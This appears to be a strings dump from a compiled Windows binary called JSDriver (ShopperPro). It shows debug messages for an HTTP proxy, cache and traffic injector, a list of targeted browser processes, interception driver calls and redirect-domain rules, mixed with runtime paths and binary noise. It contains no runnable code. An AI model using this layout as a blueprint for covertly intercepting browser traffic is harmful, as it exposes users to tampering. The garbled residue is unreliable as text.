[AccelerationLogic::UpdateAverageBPS] FDM=%d, Job:%d (3G: %d) - %d

[CHttpCacheData::FreeBuffers] CD:%d, FDM=%d - Releasing %lld bytes

[CHttpCacheData::SetCacheLimit] CD:%d, FDM=%d - %lld --> %lld

[CHttpCacheData::Write - ICacheWriter] CD:%d, FDM=%d - Written: %d (%lld) bytes

[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d - Cache is orphan & has incomplete http header

[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d

[CHttpCacheData::GetRanges] CD:%d, FDM=%d - Ranges: %lld-%lld

[CHttpCacheData::SetActive] CD:%d, FDM=%d, Active: %d -> %d

[CHttpCacheData::SetComplete] CD:%d, FDM=%d, Complete: %d -> %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - No Match! %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match - Ignore ranges (Code: %d) *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - Cookie No Match! (Code: %d) %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld

[CHttpCacheData::Write] CD:%d, FDM=%d - Finish writing %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d (%lld/%lld) bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Writen %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write new %d bytes - to CacheWorker: %p

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write cached %d bytes, from offset %lld - to CacheWorker: %p

[CHttpCacheData::Write] CD:%d, FDM=%d - GetTotalBytesWritten: %lld, BytesInBuffer: %lld, RANGE_START_POSITION: %lld, nDataBytesWritten: %lld

[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Cache size: %d

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write %d bytes

[CHttpCacheData::AddCacheWorker] CD:%d, FDM=%d

[CHttpCacheData] CD:%d, Url: %s

[~CHttpCacheData] CD:%d

[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d - Try to stop the owner caching FDM...

[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d

[CHttpCacheData::DumpBufferToLogFile] CD:%d, FDM=%d

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (DATA)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes, from offset %lld (DATA)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (HEADER)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes (HEADER)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Range: %lld-%lld

[CacheWorker::SetSize - %p] Cache size: %d

[CacheWorker::SetStatus - %p] WORKER_STATUS_FINISHED (%d) - job:%d

[CacheWorker::SetEncryptionKey - %p] Key: %p

[CacheWorker::AppendToCache - %p] Appending: %d bytes, Total Appended: %d

[CacheWorker::AppendToCache - %p] Bytes in buffer: %d

[CacheWorker::WriteToCacheWriter - %p] BytesWritten: %d, TotalBytesWritten: %lld, HeaderBytesDownloaded: %lld, DataBytesDownloaded: %lld

[CacheWorker::WriteToCacheWriter - %p] CacheData - Written %d bytes

[CacheWorker::WriteToCacheWriter - %p] CacheData - Going to write %d bytes

[CacheWorker::Write - %p] *** Finished to download & write job:%d ***

[CacheWorker::Write - %p] Appending: %d bytes, Total Appended: %d

[CacheWorker::Write - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::Write - %p] Before writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::Write - %p] ___Warning already finished job:%d

[CacheWorker::Write - %p] Bytes in buffer: %d

[CacheWorker::WriteBufferFromCache - %p] *** Finished to download & write job:%d ***

[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) failed to download for a lot of time.

[CacheWorker::WriteBufferFromCache - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::WriteBufferFromCache - %p] Going to write %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::WriteBufferFromCache - %p] *** Worker Idle - Finished job:%d ***

[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) - Worker Idle - failed to download for a lot of time.

f:\dd\vctools\crt_bld\self_x86\crt\src\locale0.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xmutex.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\locale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocnum

f:\dd\vctools\crt_bld\self_x86\crt\src\_tolower.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xmbtowc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wlocale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xloctime

f:\dd\vctools\crt_bld\self_x86\crt\src\locale

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmes

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmon

%d / %m / %y

%I : %M : %S %p

%m / %d / %y

%b %d %H : %M : %S %Y

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xwcsxfrm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\onexit.c

Client hook allocation failure at file %hs line %d.

Memory allocated at %hs(%d).

Client hook re-allocation failure at file %hs line %d.

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory after end of heap buffer.

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory before start of heap buffer.

CRT detected that the application wrote to a heap buffer that was freed.

crt block at 0x%p, subtype %x, %Iu bytes long.

client block at 0x%p, subtype %x, %Iu bytes long.

%hs(%d) :

#File Error#(%d) :

Data: <%s> %s

f:\dd\vctools\crt_bld\self_x86\crt\src\initctyp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c

Visual C   CRT: Not enough memory to complete call to strerror.

f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strftime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\inithelp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mlock.c

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c

_CrtDbgReport: String too long or IO Error

Debug %s!

Program: %s%s%s%s%s%s%s%s%s%s%s%s

f:\dd\vctools\crt_bld\self_x86\crt\src\mbctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tidtable.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_file.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stream.c

f:\dd\vctools\crt_bld\self_x86\crt\src\read.c

%s(%d) : %s

_CrtDbgReport: String too long or Invalid characters in String

GetProcessWindowStation

f:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_env.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tzset.c

f:\dd\vctools\crt_bld\self_x86\crt\src\input.c

f:\dd\vctools\crt_bld\self_x86\crt\src\drive.c

Broken pipe

Inappropriate I/O control operation

Operation not permitted

f:\dd\vctools\crt_bld\self_x86\crt\src\inittime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initnum.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initmon.c

portuguese-brazilian

operator

f:\dd\vctools\crt_bld\self_x86\crt\src\_getbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\osfinfo.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wtombenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\setenv.c

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Content-Type: multipart/form-data; boundary=%s

ICACLS.EXE

SOFTWARE\%s

Global\%s_CONFIG_XML

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

Injector dump %s: %s

inj_rem remain %d

inj_loc remain %d

%s PutChunk send %d bytes to server

%s PutChunk send %d bytes to client

%s close pRemoteInj

%s close pLocalInj

New EmuSession flow %lld, now %d

Injector: Flow %lld, create session %X

Injector: Flow %lld, FDM=%d (%d)

%s ConnectedToVA, pLocalInj %p, pLocalVA %p

Delete EmuSession flow %lld, remain %d, chunks %d

%s delete Session %X

%s HandleChunk FWPS_STREAM_FLAG_SEND len %d

%s HandleChunk FWPS_STREAM_FLAG_RECEIVE len %d

%s HandleChunk FWPS_STREAM_FLAG_RECEIVE_DISCONNECT

%s HandleChunk FWPS_STREAM_FLAG_SEND_DISCONNECT

%s HandleChunk FWPS_STREAM_FLAG_ABORT

Injector: FDM=%d (%d)

%s ConnectToInj, Session not found pLocalVA %X

%s ConnectToInj

Cleanup %s

allports

iexplore.exe firefox.exe chrome.exe opera.exe webkit2webprocess.exe navigator.exe torch.exe u.exe epic.exe browser.exe maxthon.exe sbrender.exe vantvw.exe dragon.exe

[Stproxy]: open driver HANDLE %p, err %d

jsdriver: error parsing Config.json

parsing Config.json

IOCTL_ENABLE_INTERCEPT res %d

SetThreadPriority %d

error %d

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xiosbase

0123456789.eE-

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xutility

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocnum

C:\BUILDS\Build_JS\1.38.0.0\JsDriver\Release\jsdrv.pdb

WSAJoinLeaf

WS2_32.dll

VERSION.dll

USERENV.dll

HttpQueryInfoA

InternetOpenUrlA

InternetCrackUrlA

HttpSendRequestA

HttpAddRequestHeadersA

HttpOpenRequestA

WININET.dll

GetProcessHeap

GetCPInfo

PeekNamedPipe

KERNEL32.dll

MsgWaitForMultipleObjectsEx

CloseWindowStation

SetProcessWindowStation

OpenWindowStationA

USER32.dll

RegNotifyChangeKeyValue

RegOpenKeyExA

RegCloseKey

RegCreateKeyExA

RegDeleteKeyA

RegOpenKeyA

RegEnumKeyA

RegEnumKeyExA

RegQueryInfoKeyA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

HttpEndRequestA

HttpSendRequestExA

.?AVIPipeEventsThread@@

.?AVCPipeEventThread@@

.?AVSaveWatchUrl@@

.?AVIHttpEngineConfiguration@@

.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@

.?AVHttpEngineConfiguration@@

.?AV?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

.?AVCEventsList@?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

.?AV?$CAsyncUdpSocketServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

HTTP://

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

.?AVCAsyncUdpSocket@@

.?AVCExecuteUpdate@@

..\Common\Base64.cpp

..\Common\Base64MultiBytes.cpp

<>"#%{}|\^~[]`' ?&

<>"#{}|\^~[]`' ?&

.?AVCHttpAsync@@

.?AVIHttpProxyWorker@@

.?AV?$IBaseInterface@VIInjHttpProxyServer@@@@

.?AVIInjHttpProxyServer@@

.?AV?$CBaseInterface@VInjHttpProxyServer@@VIInjHttpProxyServer@@@@

.?AV?$IBaseInterface@VIHttpProxyServer@@@@

.?AVIHttpProxyServer@@

.?AVInjHttpProxyServer@@

.?AVHttpProxyServer@@

.?AV?$CBaseInterface@VHttpProxyServer@@VIHttpProxyServer@@@@

.?AVIHttpStreamSink@@

.?AVIHttpFileDownloadMgr@@

.?AVInjHttpProxyLocal@@

.?AVHttpProxyLocal@@

.?AVHttpProxyWorker@@

.?AVInjHttpProxyRemote@@

.?AVHttpProxyRemote@@

.?AVHttpParser@@

VA_SUBJECT_FMD_%d_WORKER_CREATED

VA_SUBJECT_FMD_%d_RANGE_CREATED

VA_SUBJECT_FMD_%d

VA_SUBJECT_FMD_%d_WORKER_%d

.?AVHttpCookie@@

.?AVHttpCookieJar@@

.?AV?$IBaseInterface@VIHttpCacheManager@@@@

.?AVIHttpCacheManager@@

.?AV?$CBaseInterface@VCHttpCacheManager@@VIHttpCacheManager@@@@

.?AVCHttpCacheManager@@

.?AVCProxyServerPassThrough@@

.?AVCHttpCacheData@@

zc�

.?AVCHttp@@

2.0.7791.1444

%Program Files% (x86)\ShopperPro\JSDriver\1.38.0.1444\jsdrv.exe

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

8&8,8/949{9

0F0X0

>%?/?^?}?

2(2-222x2}2

>5>:>?> ?%?

7#777=7\7

6f6F6X6

>2?8???}?

< <$<(<,<0<4<~<

5#565;5|5

:,:0:4:8:<:

8-8}8

0-0A0U0i0}0

= >%>[?`?

1 20252:2

:*:8:&;5;|;

?/?4?9?|?

6 6$6(6,6

=,>0>4>8><>@>

*0004080<0

&0 000|0

9�9S9^9

="=(=5=:=@=

91969;9{9

9(9[9`93:

3?3T3f3n3

7 7$7(7,7

= =$=(=,=0=4=

1 1$1(1,1014181<1

2 2$2(2,2

; ;$;(;,;0;

4 4$4(4,4044484<4@4

; ;$;(;,;0;4;8;<;@;

9 9$9(9,9094989<9@9

,<0<4<8<

8 8$8(8,8084888<8$>(>

5 5$5(5,5054585<5

? ?$?(?,?0?4?8?

7,787\7|7

; ;(;0;<;`;

7$7,787\7|7

=(=0=<=`=

;$;,;8;\;|;

>$>,>8>\>|>

1$1,181\1|1

2 2@2\2`2|2

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator

std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator ==

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator --

dstd::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator *

std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator ==

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator

std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator *

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct _WSAPROTOCOL_INFOW,class std::allocator<struct _WSAPROTOCOL_INFOW> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct _WSAPROTOCOL_INFOW,class std::allocator<struct _WSAPROTOCOL_INFOW> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class EVENT_ENTRY,class std::allocator<class EVENT_ENTRY> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class EVENT_ENTRY,class std::allocator<class EVENT_ENTRY> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<class CCommandsQueueItem *,class std::allocator<class CCommandsQueueItem *> > >::operator

std::_List_const_iterator<class std::_List_val<class CCommandsQueueItem *,class std::allocator<class CCommandsQueueItem *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator

std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator

std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator ==

std::_Vector_const_iterator<class std::_Vector_val<unsigned long,class std::allocator<unsigned long> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<unsigned long,class std::allocator<unsigned long> > >::operator

std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator *

std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator *

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator ==

std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator

std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator ==

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator --

std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator

std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator *

std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator *

std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CAcceleratorEventsData *,class std::allocator<class CAcceleratorEventsData *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CAcceleratorEventsData *,class std::allocator<class CAcceleratorEventsData *> > >::operator

]std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class CAcceleratorEventsData *,class std::allocator<class CAcceleratorEventsData *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,class CAcceleratorEventsData *,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,class CAcceleratorEventsData *> >,0> > >::operator --

